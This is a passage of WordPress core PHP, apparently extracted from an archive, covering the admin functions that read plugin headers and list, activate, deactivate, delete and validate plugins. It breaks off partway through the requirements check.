* @since 2.7.0
*
* @param string|WP_Screen $screen The screen hook name or screen object.
* @param bool $with_id Whether to set the ID attribute or not.
*/
function print_column_headers( $screen, $with_id = true ) {
$wp_list_table = new _WP_List_Table_Compat( $screen );
$wp_list_table->print_column_headers( $with_id );
}
plugin.php 0000644 00000265375 14757313107 0006605 0 ustar 00 'Plugin Name',
'PluginURI' => 'Plugin URI',
'Version' => 'Version',
'Description' => 'Description',
'Author' => 'Author',
'AuthorURI' => 'Author URI',
'TextDomain' => 'Text Domain',
'DomainPath' => 'Domain Path',
'Network' => 'Network',
'RequiresWP' => 'Requires at least',
'RequiresPHP' => 'Requires PHP',
'UpdateURI' => 'Update URI',
'RequiresPlugins' => 'Requires Plugins',
// Site Wide Only is deprecated in favor of Network.
'_sitewide' => 'Site Wide Only',
);
$plugin_data = get_file_data( $plugin_file, $default_headers, 'plugin' );
// Site Wide Only is the old header for Network.
if ( ! $plugin_data['Network'] && $plugin_data['_sitewide'] ) {
/* translators: 1: Site Wide Only: true, 2: Network: true */
_deprecated_argument( __FUNCTION__, '3.0.0', sprintf( __( 'The %1$s plugin header is deprecated. Use %2$s instead.' ), 'Site Wide Only: true', 'Network: true' ) );
$plugin_data['Network'] = $plugin_data['_sitewide'];
}
$plugin_data['Network'] = ( 'true' === strtolower( $plugin_data['Network'] ) );
unset( $plugin_data['_sitewide'] );
// If no text domain is defined fall back to the plugin slug.
if ( ! $plugin_data['TextDomain'] ) {
$plugin_slug = dirname( plugin_basename( $plugin_file ) );
if ( '.' !== $plugin_slug && ! str_contains( $plugin_slug, '/' ) ) {
$plugin_data['TextDomain'] = $plugin_slug;
}
}
if ( $markup || $translate ) {
$plugin_data = _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup, $translate );
} else {
$plugin_data['Title'] = $plugin_data['Name'];
$plugin_data['AuthorName'] = $plugin_data['Author'];
}
return $plugin_data;
}
/**
* Sanitizes plugin data, optionally adds markup, optionally translates.
*
* @since 2.7.0
*
* @see get_plugin_data()
*
* @access private
*
* @param string $plugin_file Path to the main plugin file.
* @param array $plugin_data An array of plugin data. See get_plugin_data().
* @param bool $markup Optional. If the returned data should have HTML markup applied.
* Default true.
* @param bool $translate Optional. If the returned data should be translated. Default true.
* @return array Plugin data. Values will be empty if not supplied by the plugin.
* See get_plugin_data() for the list of possible values.
*/
function _get_plugin_data_markup_translate( $plugin_file, $plugin_data, $markup = true, $translate = true ) {
// Sanitize the plugin filename to a WP_PLUGIN_DIR relative path.
$plugin_file = plugin_basename( $plugin_file );
// Translate fields.
if ( $translate ) {
$textdomain = $plugin_data['TextDomain'];
if ( $textdomain ) {
if ( ! is_textdomain_loaded( $textdomain ) ) {
if ( $plugin_data['DomainPath'] ) {
load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) . $plugin_data['DomainPath'] );
} else {
load_plugin_textdomain( $textdomain, false, dirname( $plugin_file ) );
}
}
} elseif ( 'hello.php' === basename( $plugin_file ) ) {
$textdomain = 'default';
}
if ( $textdomain ) {
foreach ( array( 'Name', 'PluginURI', 'Description', 'Author', 'AuthorURI', 'Version' ) as $field ) {
if ( ! empty( $plugin_data[ $field ] ) ) {
// phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain
$plugin_data[ $field ] = translate( $plugin_data[ $field ], $textdomain );
}
}
}
}
// Sanitize fields.
$allowed_tags_in_links = array(
'abbr' => array( 'title' => true ),
'acronym' => array( 'title' => true ),
'code' => true,
'em' => true,
'strong' => true,
);
$allowed_tags = $allowed_tags_in_links;
$allowed_tags['a'] = array(
'href' => true,
'title' => true,
);
/*
* Name is marked up inside tags. Don't allow these.
* Author is too, but some plugins have used here (omitting Author URI).
*/
$plugin_data['Name'] = wp_kses( $plugin_data['Name'], $allowed_tags_in_links );
$plugin_data['Author'] = wp_kses( $plugin_data['Author'], $allowed_tags );
$plugin_data['Description'] = wp_kses( $plugin_data['Description'], $allowed_tags );
$plugin_data['Version'] = wp_kses( $plugin_data['Version'], $allowed_tags );
$plugin_data['PluginURI'] = esc_url( $plugin_data['PluginURI'] );
$plugin_data['AuthorURI'] = esc_url( $plugin_data['AuthorURI'] );
$plugin_data['Title'] = $plugin_data['Name'];
$plugin_data['AuthorName'] = $plugin_data['Author'];
// Apply markup.
if ( $markup ) {
if ( $plugin_data['PluginURI'] && $plugin_data['Name'] ) {
$plugin_data['Title'] = '' . $plugin_data['Name'] . '';
}
if ( $plugin_data['AuthorURI'] && $plugin_data['Author'] ) {
$plugin_data['Author'] = '' . $plugin_data['Author'] . '';
}
$plugin_data['Description'] = wptexturize( $plugin_data['Description'] );
if ( $plugin_data['Author'] ) {
$plugin_data['Description'] .= sprintf(
/* translators: %s: Plugin author. */
' ' . __( 'By %s.' ) . '',
$plugin_data['Author']
);
}
}
return $plugin_data;
}
/**
* Gets a list of a plugin's files.
*
* @since 2.8.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return string[] Array of file names relative to the plugin root.
*/
function get_plugin_files( $plugin ) {
$plugin_file = WP_PLUGIN_DIR . '/' . $plugin;
$dir = dirname( $plugin_file );
$plugin_files = array( plugin_basename( $plugin_file ) );
if ( is_dir( $dir ) && WP_PLUGIN_DIR !== $dir ) {
/**
* Filters the array of excluded directories and files while scanning the folder.
*
* @since 4.9.0
*
* @param string[] $exclusions Array of excluded directories and files.
*/
$exclusions = (array) apply_filters( 'plugin_files_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) );
$list_files = list_files( $dir, 100, $exclusions );
$list_files = array_map( 'plugin_basename', $list_files );
$plugin_files = array_merge( $plugin_files, $list_files );
$plugin_files = array_values( array_unique( $plugin_files ) );
}
return $plugin_files;
}
/**
* Checks the plugins directory and retrieve all plugin files with plugin data.
*
* WordPress only supports plugin files in the base plugins directory
* (wp-content/plugins) and in one directory above the plugins directory
* (wp-content/plugins/my-plugin). The file it looks for has the plugin data
* and must be found in those two locations. It is recommended to keep your
* plugin files in their own directories.
*
* The file with the plugin data is the file that will be included and therefore
* needs to have the main execution for the plugin. This does not mean
* everything must be contained in the file and it is recommended that the file
* be split for maintainability. Keep everything in one file for extreme
* optimization purposes.
*
* @since 1.5.0
*
* @param string $plugin_folder Optional. Relative path to single plugin folder.
* @return array[] Array of arrays of plugin data, keyed by plugin file name. See get_plugin_data().
*/
function get_plugins( $plugin_folder = '' ) {
$cache_plugins = wp_cache_get( 'plugins', 'plugins' );
if ( ! $cache_plugins ) {
$cache_plugins = array();
}
if ( isset( $cache_plugins[ $plugin_folder ] ) ) {
return $cache_plugins[ $plugin_folder ];
}
$wp_plugins = array();
$plugin_root = WP_PLUGIN_DIR;
if ( ! empty( $plugin_folder ) ) {
$plugin_root .= $plugin_folder;
}
// Files in wp-content/plugins directory.
$plugins_dir = @opendir( $plugin_root );
$plugin_files = array();
if ( $plugins_dir ) {
while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
if ( str_starts_with( $file, '.' ) ) {
continue;
}
if ( is_dir( $plugin_root . '/' . $file ) ) {
$plugins_subdir = @opendir( $plugin_root . '/' . $file );
if ( $plugins_subdir ) {
while ( ( $subfile = readdir( $plugins_subdir ) ) !== false ) {
if ( str_starts_with( $subfile, '.' ) ) {
continue;
}
if ( str_ends_with( $subfile, '.php' ) ) {
$plugin_files[] = "$file/$subfile";
}
}
closedir( $plugins_subdir );
}
} elseif ( str_ends_with( $file, '.php' ) ) {
$plugin_files[] = $file;
}
}
closedir( $plugins_dir );
}
if ( empty( $plugin_files ) ) {
return $wp_plugins;
}
foreach ( $plugin_files as $plugin_file ) {
if ( ! is_readable( "$plugin_root/$plugin_file" ) ) {
continue;
}
// Do not apply markup/translate as it will be cached.
$plugin_data = get_plugin_data( "$plugin_root/$plugin_file", false, false );
if ( empty( $plugin_data['Name'] ) ) {
continue;
}
$wp_plugins[ plugin_basename( $plugin_file ) ] = $plugin_data;
}
uasort( $wp_plugins, '_sort_uname_callback' );
$cache_plugins[ $plugin_folder ] = $wp_plugins;
wp_cache_set( 'plugins', $cache_plugins, 'plugins' );
return $wp_plugins;
}
/**
* Checks the mu-plugins directory and retrieve all mu-plugin files with any plugin data.
*
* WordPress only includes mu-plugin files in the base mu-plugins directory (wp-content/mu-plugins).
*
* @since 3.0.0
* @return array[] Array of arrays of mu-plugin data, keyed by plugin file name. See get_plugin_data().
*/
function get_mu_plugins() {
$wp_plugins = array();
$plugin_files = array();
if ( ! is_dir( WPMU_PLUGIN_DIR ) ) {
return $wp_plugins;
}
// Files in wp-content/mu-plugins directory.
$plugins_dir = @opendir( WPMU_PLUGIN_DIR );
if ( $plugins_dir ) {
while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
if ( str_ends_with( $file, '.php' ) ) {
$plugin_files[] = $file;
}
}
} else {
return $wp_plugins;
}
closedir( $plugins_dir );
if ( empty( $plugin_files ) ) {
return $wp_plugins;
}
foreach ( $plugin_files as $plugin_file ) {
if ( ! is_readable( WPMU_PLUGIN_DIR . "/$plugin_file" ) ) {
continue;
}
// Do not apply markup/translate as it will be cached.
$plugin_data = get_plugin_data( WPMU_PLUGIN_DIR . "/$plugin_file", false, false );
if ( empty( $plugin_data['Name'] ) ) {
$plugin_data['Name'] = $plugin_file;
}
$wp_plugins[ $plugin_file ] = $plugin_data;
}
if ( isset( $wp_plugins['index.php'] ) && filesize( WPMU_PLUGIN_DIR . '/index.php' ) <= 30 ) {
// Silence is golden.
unset( $wp_plugins['index.php'] );
}
uasort( $wp_plugins, '_sort_uname_callback' );
return $wp_plugins;
}
/**
* Declares a callback to sort array by a 'Name' key.
*
* @since 3.1.0
*
* @access private
*
* @param array $a array with 'Name' key.
* @param array $b array with 'Name' key.
* @return int Return 0 or 1 based on two string comparison.
*/
function _sort_uname_callback( $a, $b ) {
return strnatcasecmp( $a['Name'], $b['Name'] );
}
/**
* Checks the wp-content directory and retrieve all drop-ins with any plugin data.
*
* @since 3.0.0
* @return array[] Array of arrays of dropin plugin data, keyed by plugin file name. See get_plugin_data().
*/
function get_dropins() {
$dropins = array();
$plugin_files = array();
$_dropins = _get_dropins();
// Files in wp-content directory.
$plugins_dir = @opendir( WP_CONTENT_DIR );
if ( $plugins_dir ) {
while ( ( $file = readdir( $plugins_dir ) ) !== false ) {
if ( isset( $_dropins[ $file ] ) ) {
$plugin_files[] = $file;
}
}
} else {
return $dropins;
}
closedir( $plugins_dir );
if ( empty( $plugin_files ) ) {
return $dropins;
}
foreach ( $plugin_files as $plugin_file ) {
if ( ! is_readable( WP_CONTENT_DIR . "/$plugin_file" ) ) {
continue;
}
// Do not apply markup/translate as it will be cached.
$plugin_data = get_plugin_data( WP_CONTENT_DIR . "/$plugin_file", false, false );
if ( empty( $plugin_data['Name'] ) ) {
$plugin_data['Name'] = $plugin_file;
}
$dropins[ $plugin_file ] = $plugin_data;
}
uksort( $dropins, 'strnatcasecmp' );
return $dropins;
}
/**
* Returns drop-in plugins that WordPress uses.
*
* Includes Multisite drop-ins only when is_multisite()
*
* @since 3.0.0
*
* @return array[] {
* Key is file name. The value is an array of data about the drop-in.
*
* @type array ...$0 {
* Data about the drop-in.
*
* @type string $0 The purpose of the drop-in.
* @type string|true $1 Name of the constant that must be true for the drop-in
* to be used, or true if no constant is required.
* }
* }
*/
function _get_dropins() {
$dropins = array(
'advanced-cache.php' => array( __( 'Advanced caching plugin.' ), 'WP_CACHE' ), // WP_CACHE
'db.php' => array( __( 'Custom database class.' ), true ), // Auto on load.
'db-error.php' => array( __( 'Custom database error message.' ), true ), // Auto on error.
'install.php' => array( __( 'Custom installation script.' ), true ), // Auto on installation.
'maintenance.php' => array( __( 'Custom maintenance message.' ), true ), // Auto on maintenance.
'object-cache.php' => array( __( 'External object cache.' ), true ), // Auto on load.
'php-error.php' => array( __( 'Custom PHP error message.' ), true ), // Auto on error.
'fatal-error-handler.php' => array( __( 'Custom PHP fatal error handler.' ), true ), // Auto on error.
);
if ( is_multisite() ) {
$dropins['sunrise.php'] = array( __( 'Executed before Multisite is loaded.' ), 'SUNRISE' ); // SUNRISE
$dropins['blog-deleted.php'] = array( __( 'Custom site deleted message.' ), true ); // Auto on deleted blog.
$dropins['blog-inactive.php'] = array( __( 'Custom site inactive message.' ), true ); // Auto on inactive blog.
$dropins['blog-suspended.php'] = array( __( 'Custom site suspended message.' ), true ); // Auto on archived or spammed blog.
}
return $dropins;
}
/**
* Determines whether a plugin is active.
*
* Only plugins installed in the plugins/ folder can be active.
*
* Plugins in the mu-plugins/ folder can't be "activated," so this function will
* return false for those plugins.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 2.5.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return bool True, if in the active plugins list. False, not in the list.
*/
function is_plugin_active( $plugin ) {
return in_array( $plugin, (array) get_option( 'active_plugins', array() ), true ) || is_plugin_active_for_network( $plugin );
}
/**
* Determines whether the plugin is inactive.
*
* Reverse of is_plugin_active(). Used as a callback.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 3.1.0
*
* @see is_plugin_active()
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return bool True if inactive. False if active.
*/
function is_plugin_inactive( $plugin ) {
return ! is_plugin_active( $plugin );
}
/**
* Determines whether the plugin is active for the entire network.
*
* Only plugins installed in the plugins/ folder can be active.
*
* Plugins in the mu-plugins/ folder can't be "activated," so this function will
* return false for those plugins.
*
* For more information on this and similar theme functions, check out
* the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
* Conditional Tags} article in the Theme Developer Handbook.
*
* @since 3.0.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return bool True if active for the network, otherwise false.
*/
function is_plugin_active_for_network( $plugin ) {
if ( ! is_multisite() ) {
return false;
}
$plugins = get_site_option( 'active_sitewide_plugins' );
if ( isset( $plugins[ $plugin ] ) ) {
return true;
}
return false;
}
/**
* Checks for "Network: true" in the plugin header to see if this should
* be activated only as a network wide plugin. The plugin would also work
* when Multisite is not enabled.
*
* Checks for "Site Wide Only: true" for backward compatibility.
*
* @since 3.0.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return bool True if plugin is network only, false otherwise.
*/
function is_network_only_plugin( $plugin ) {
$plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
if ( $plugin_data ) {
return $plugin_data['Network'];
}
return false;
}
/**
* Attempts activation of plugin in a "sandbox" and redirects on success.
*
* A plugin that is already activated will not attempt to be activated again.
*
* The way it works is by setting the redirection to the error before trying to
* include the plugin file. If the plugin fails, then the redirection will not
* be overwritten with the success message. Also, the options will not be
* updated and the activation hook will not be called on plugin error.
*
* It should be noted that in no way the below code will actually prevent errors
* within the file. The code should not be used elsewhere to replicate the
* "sandbox", which uses redirection to work.
* {@source 13 1}
*
* If any errors are found or text is outputted, then it will be captured to
* ensure that the success redirection will update the error redirection.
*
* @since 2.5.0
* @since 5.2.0 Test for WordPress version and PHP version compatibility.
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param string $redirect Optional. URL to redirect to.
* @param bool $network_wide Optional. Whether to enable the plugin for all sites in the network
* or just the current site. Multisite only. Default false.
* @param bool $silent Optional. Whether to prevent calling activation hooks. Default false.
* @return null|WP_Error Null on success, WP_Error on invalid file.
*/
function activate_plugin( $plugin, $redirect = '', $network_wide = false, $silent = false ) {
$plugin = plugin_basename( trim( $plugin ) );
if ( is_multisite() && ( $network_wide || is_network_only_plugin( $plugin ) ) ) {
$network_wide = true;
$current = get_site_option( 'active_sitewide_plugins', array() );
$_GET['networkwide'] = 1; // Back compat for plugins looking for this value.
} else {
$current = get_option( 'active_plugins', array() );
}
$valid = validate_plugin( $plugin );
if ( is_wp_error( $valid ) ) {
return $valid;
}
$requirements = validate_plugin_requirements( $plugin );
if ( is_wp_error( $requirements ) ) {
return $requirements;
}
if ( $network_wide && ! isset( $current[ $plugin ] )
|| ! $network_wide && ! in_array( $plugin, $current, true )
) {
if ( ! empty( $redirect ) ) {
// We'll override this later if the plugin can be included without fatal error.
wp_redirect( add_query_arg( '_error_nonce', wp_create_nonce( 'plugin-activation-error_' . $plugin ), $redirect ) );
}
ob_start();
// Load the plugin to test whether it throws any errors.
plugin_sandbox_scrape( $plugin );
if ( ! $silent ) {
/**
* Fires before a plugin is activated.
*
* If a plugin is silently activated (such as during an update),
* this hook does not fire.
*
* @since 2.9.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param bool $network_wide Whether to enable the plugin for all sites in the network
* or just the current site. Multisite only. Default false.
*/
do_action( 'activate_plugin', $plugin, $network_wide );
/**
* Fires as a specific plugin is being activated.
*
* This hook is the "activation" hook used internally by register_activation_hook().
* The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
*
* If a plugin is silently activated (such as during an update), this hook does not fire.
*
* @since 2.0.0
*
* @param bool $network_wide Whether to enable the plugin for all sites in the network
* or just the current site. Multisite only. Default false.
*/
do_action( "activate_{$plugin}", $network_wide );
}
if ( $network_wide ) {
$current = get_site_option( 'active_sitewide_plugins', array() );
$current[ $plugin ] = time();
update_site_option( 'active_sitewide_plugins', $current );
} else {
$current = get_option( 'active_plugins', array() );
$current[] = $plugin;
sort( $current );
update_option( 'active_plugins', $current );
}
if ( ! $silent ) {
/**
* Fires after a plugin has been activated.
*
* If a plugin is silently activated (such as during an update),
* this hook does not fire.
*
* @since 2.9.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param bool $network_wide Whether to enable the plugin for all sites in the network
* or just the current site. Multisite only. Default false.
*/
do_action( 'activated_plugin', $plugin, $network_wide );
}
if ( ob_get_length() > 0 ) {
$output = ob_get_clean();
return new WP_Error( 'unexpected_output', __( 'The plugin generated unexpected output.' ), $output );
}
ob_end_clean();
}
return null;
}
/**
* Deactivates a single plugin or multiple plugins.
*
* The deactivation hook is disabled by the plugin upgrader by using the $silent
* parameter.
*
* @since 2.5.0
*
* @param string|string[] $plugins Single plugin or list of plugins to deactivate.
* @param bool $silent Prevent calling deactivation hooks. Default false.
* @param bool|null $network_wide Whether to deactivate the plugin for all sites in the network.
* A value of null will deactivate plugins for both the network
* and the current site. Multisite only. Default null.
*/
function deactivate_plugins( $plugins, $silent = false, $network_wide = null ) {
if ( is_multisite() ) {
$network_current = get_site_option( 'active_sitewide_plugins', array() );
}
$current = get_option( 'active_plugins', array() );
$do_blog = false;
$do_network = false;
foreach ( (array) $plugins as $plugin ) {
$plugin = plugin_basename( trim( $plugin ) );
if ( ! is_plugin_active( $plugin ) ) {
continue;
}
$network_deactivating = ( false !== $network_wide ) && is_plugin_active_for_network( $plugin );
if ( ! $silent ) {
/**
* Fires before a plugin is deactivated.
*
* If a plugin is silently deactivated (such as during an update),
* this hook does not fire.
*
* @since 2.9.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
* or just the current site. Multisite only. Default false.
*/
do_action( 'deactivate_plugin', $plugin, $network_deactivating );
}
if ( false !== $network_wide ) {
if ( is_plugin_active_for_network( $plugin ) ) {
$do_network = true;
unset( $network_current[ $plugin ] );
} elseif ( $network_wide ) {
continue;
}
}
if ( true !== $network_wide ) {
$key = array_search( $plugin, $current, true );
if ( false !== $key ) {
$do_blog = true;
unset( $current[ $key ] );
}
}
if ( $do_blog && wp_is_recovery_mode() ) {
list( $extension ) = explode( '/', $plugin );
wp_paused_plugins()->delete( $extension );
}
if ( ! $silent ) {
/**
* Fires as a specific plugin is being deactivated.
*
* This hook is the "deactivation" hook used internally by register_deactivation_hook().
* The dynamic portion of the hook name, `$plugin`, refers to the plugin basename.
*
* If a plugin is silently deactivated (such as during an update), this hook does not fire.
*
* @since 2.0.0
*
* @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
* or just the current site. Multisite only. Default false.
*/
do_action( "deactivate_{$plugin}", $network_deactivating );
/**
* Fires after a plugin is deactivated.
*
* If a plugin is silently deactivated (such as during an update),
* this hook does not fire.
*
* @since 2.9.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @param bool $network_deactivating Whether the plugin is deactivated for all sites in the network
* or just the current site. Multisite only. Default false.
*/
do_action( 'deactivated_plugin', $plugin, $network_deactivating );
}
}
if ( $do_blog ) {
update_option( 'active_plugins', $current );
}
if ( $do_network ) {
update_site_option( 'active_sitewide_plugins', $network_current );
}
}
/**
* Activates multiple plugins.
*
* When WP_Error is returned, it does not mean that one of the plugins had
* errors. It means that one or more of the plugin file paths were invalid.
*
* The execution will be halted as soon as one of the plugins has an error.
*
* @since 2.6.0
*
* @param string|string[] $plugins Single plugin or list of plugins to activate.
* @param string $redirect Redirect to page after successful activation.
* @param bool $network_wide Whether to enable the plugin for all sites in the network.
* Default false.
* @param bool $silent Prevent calling activation hooks. Default false.
* @return true|WP_Error True when finished or WP_Error if there were errors during a plugin activation.
*/
function activate_plugins( $plugins, $redirect = '', $network_wide = false, $silent = false ) {
if ( ! is_array( $plugins ) ) {
$plugins = array( $plugins );
}
$errors = array();
foreach ( $plugins as $plugin ) {
if ( ! empty( $redirect ) ) {
$redirect = add_query_arg( 'plugin', $plugin, $redirect );
}
$result = activate_plugin( $plugin, $redirect, $network_wide, $silent );
if ( is_wp_error( $result ) ) {
$errors[ $plugin ] = $result;
}
}
if ( ! empty( $errors ) ) {
return new WP_Error( 'plugins_invalid', __( 'One of the plugins is invalid.' ), $errors );
}
return true;
}
/**
* Removes directory and files of a plugin for a list of plugins.
*
* @since 2.6.0
*
* @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
*
* @param string[] $plugins List of plugin paths to delete, relative to the plugins directory.
* @param string $deprecated Not used.
* @return bool|null|WP_Error True on success, false if `$plugins` is empty, `WP_Error` on failure.
* `null` if filesystem credentials are required to proceed.
*/
function delete_plugins( $plugins, $deprecated = '' ) {
global $wp_filesystem;
if ( empty( $plugins ) ) {
return false;
}
$checked = array();
foreach ( $plugins as $plugin ) {
$checked[] = 'checked[]=' . $plugin;
}
$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&' . implode( '&', $checked ), 'bulk-plugins' );
ob_start();
$credentials = request_filesystem_credentials( $url );
$data = ob_get_clean();
if ( false === $credentials ) {
if ( ! empty( $data ) ) {
require_once ABSPATH . 'wp-admin/admin-header.php';
echo $data;
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
}
return;
}
if ( ! WP_Filesystem( $credentials ) ) {
ob_start();
// Failed to connect. Error and request again.
request_filesystem_credentials( $url, '', true );
$data = ob_get_clean();
if ( ! empty( $data ) ) {
require_once ABSPATH . 'wp-admin/admin-header.php';
echo $data;
require_once ABSPATH . 'wp-admin/admin-footer.php';
exit;
}
return;
}
if ( ! is_object( $wp_filesystem ) ) {
return new WP_Error( 'fs_unavailable', __( 'Could not access filesystem.' ) );
}
if ( is_wp_error( $wp_filesystem->errors ) && $wp_filesystem->errors->has_errors() ) {
return new WP_Error( 'fs_error', __( 'Filesystem error.' ), $wp_filesystem->errors );
}
// Get the base plugin folder.
$plugins_dir = $wp_filesystem->wp_plugins_dir();
if ( empty( $plugins_dir ) ) {
return new WP_Error( 'fs_no_plugins_dir', __( 'Unable to locate WordPress plugin directory.' ) );
}
$plugins_dir = trailingslashit( $plugins_dir );
$plugin_translations = wp_get_installed_translations( 'plugins' );
$errors = array();
foreach ( $plugins as $plugin_file ) {
// Run Uninstall hook.
if ( is_uninstallable_plugin( $plugin_file ) ) {
uninstall_plugin( $plugin_file );
}
/**
* Fires immediately before a plugin deletion attempt.
*
* @since 4.4.0
*
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
*/
do_action( 'delete_plugin', $plugin_file );
$this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin_file ) );
/*
* If plugin is in its own directory, recursively delete the directory.
* Base check on if plugin includes directory separator AND that it's not the root plugin folder.
*/
if ( strpos( $plugin_file, '/' ) && $this_plugin_dir !== $plugins_dir ) {
$deleted = $wp_filesystem->delete( $this_plugin_dir, true );
} else {
$deleted = $wp_filesystem->delete( $plugins_dir . $plugin_file );
}
/**
* Fires immediately after a plugin deletion attempt.
*
* @since 4.4.0
*
* @param string $plugin_file Path to the plugin file relative to the plugins directory.
* @param bool $deleted Whether the plugin deletion was successful.
*/
do_action( 'deleted_plugin', $plugin_file, $deleted );
if ( ! $deleted ) {
$errors[] = $plugin_file;
continue;
}
$plugin_slug = dirname( $plugin_file );
if ( 'hello.php' === $plugin_file ) {
$plugin_slug = 'hello-dolly';
}
// Remove language files, silently.
if ( '.' !== $plugin_slug && ! empty( $plugin_translations[ $plugin_slug ] ) ) {
$translations = $plugin_translations[ $plugin_slug ];
foreach ( $translations as $translation => $data ) {
$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.po' );
$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.mo' );
$wp_filesystem->delete( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '.l10n.php' );
$json_translation_files = glob( WP_LANG_DIR . '/plugins/' . $plugin_slug . '-' . $translation . '-*.json' );
if ( $json_translation_files ) {
array_map( array( $wp_filesystem, 'delete' ), $json_translation_files );
}
}
}
}
// Remove deleted plugins from the plugin updates list.
$current = get_site_transient( 'update_plugins' );
if ( $current ) {
// Don't remove the plugins that weren't deleted.
$deleted = array_diff( $plugins, $errors );
foreach ( $deleted as $plugin_file ) {
unset( $current->response[ $plugin_file ] );
}
set_site_transient( 'update_plugins', $current );
}
if ( ! empty( $errors ) ) {
if ( 1 === count( $errors ) ) {
/* translators: %s: Plugin filename. */
$message = __( 'Could not fully remove the plugin %s.' );
} else {
/* translators: %s: Comma-separated list of plugin filenames. */
$message = __( 'Could not fully remove the plugins %s.' );
}
return new WP_Error( 'could_not_remove_plugin', sprintf( $message, implode( ', ', $errors ) ) );
}
return true;
}
/**
* Validates active plugins.
*
* Validate all active plugins, deactivates invalid and
* returns an array of deactivated ones.
*
* @since 2.5.0
* @return WP_Error[] Array of plugin errors keyed by plugin file name.
*/
function validate_active_plugins() {
$plugins = get_option( 'active_plugins', array() );
// Validate vartype: array.
if ( ! is_array( $plugins ) ) {
update_option( 'active_plugins', array() );
$plugins = array();
}
if ( is_multisite() && current_user_can( 'manage_network_plugins' ) ) {
$network_plugins = (array) get_site_option( 'active_sitewide_plugins', array() );
$plugins = array_merge( $plugins, array_keys( $network_plugins ) );
}
if ( empty( $plugins ) ) {
return array();
}
$invalid = array();
// Invalid plugins get deactivated.
foreach ( $plugins as $plugin ) {
$result = validate_plugin( $plugin );
if ( is_wp_error( $result ) ) {
$invalid[ $plugin ] = $result;
deactivate_plugins( $plugin, true );
}
}
return $invalid;
}
/**
* Validates the plugin path.
*
* Checks that the main plugin file exists and is a valid plugin. See validate_file().
*
* @since 2.5.0
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return int|WP_Error 0 on success, WP_Error on failure.
*/
function validate_plugin( $plugin ) {
if ( validate_file( $plugin ) ) {
return new WP_Error( 'plugin_invalid', __( 'Invalid plugin path.' ) );
}
if ( ! file_exists( WP_PLUGIN_DIR . '/' . $plugin ) ) {
return new WP_Error( 'plugin_not_found', __( 'Plugin file does not exist.' ) );
}
$installed_plugins = get_plugins();
if ( ! isset( $installed_plugins[ $plugin ] ) ) {
return new WP_Error( 'no_plugin_header', __( 'The plugin does not have a valid header.' ) );
}
return 0;
}
/**
* Validates the plugin requirements for WordPress version and PHP version.
*
* Uses the information from `Requires at least`, `Requires PHP` and `Requires Plugins` headers
* defined in the plugin's main PHP file.
*
* @since 5.2.0
* @since 5.3.0 Added support for reading the headers from the plugin's
* main PHP file, with `readme.txt` as a fallback.
* @since 5.8.0 Removed support for using `readme.txt` as a fallback.
* @since 6.5.0 Added support for the 'Requires Plugins' header.
*
* @param string $plugin Path to the plugin file relative to the plugins directory.
* @return true|WP_Error True if requirements are met, WP_Error on failure.
*/
function validate_plugin_requirements( $plugin ) {
$plugin_headers = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
$requirements = array(
'requires' => ! empty( $plugin_headers['RequiresWP'] ) ? $plugin_headers['RequiresWP'] : '',
'requires_php' => ! empty( $plugin_headers['RequiresPHP'] ) ? $plugin_headers['RequiresPHP'] : '',
'requires_plugins' => ! empty( $plugin_headers['RequiresPlugins'] ) ? $plugin_headers['RequiresPlugins'] : '',
);
$compatible_wp = is_wp_version_compatible( $requirements['requires'] );
$compatible_php = is_php_version_compatible( $requirements['requires_php'] );
$php_update_message = '
' . sprintf(
/* translators: %s: URL to Update PHP page. */
__( 'Learn more about updating PHP.' ),
esc_url( wp_get_update_php_url() )
);
$annotation = wp_get_update_php_annotation();
if ( $annotation ) {
$php_update_message .= '
' . $annotation . '';
}
if ( ! $compatible_wp && ! $compatible_php ) {
return new WP_Error(
'plugin_wp_php_incompatible',
'
' . sprintf(
/* translators: 1: Current WordPress version, 2: Current PHP version, 3: Plugin name, 4: Required WordPress version, 5: Required PHP version. */
_x( 'Error: Current versions of WordPress (%1$s) and PHP (%2$s) do not meet minimum requirements for %3$s. The plugin requires WordPress %4$s and PHP %5$s.', 'plugin' ),
get_bloginfo( 'version' ),
PHP_VERSION,
$plugin_headers['Name'],
$requirements['requires'],
$requirements['requires_php']
) . $php_update_message . '
' . sprintf(
/* translators: 1: Current WordPress version, 2: Plugin name, 3: Required WordPress version. */
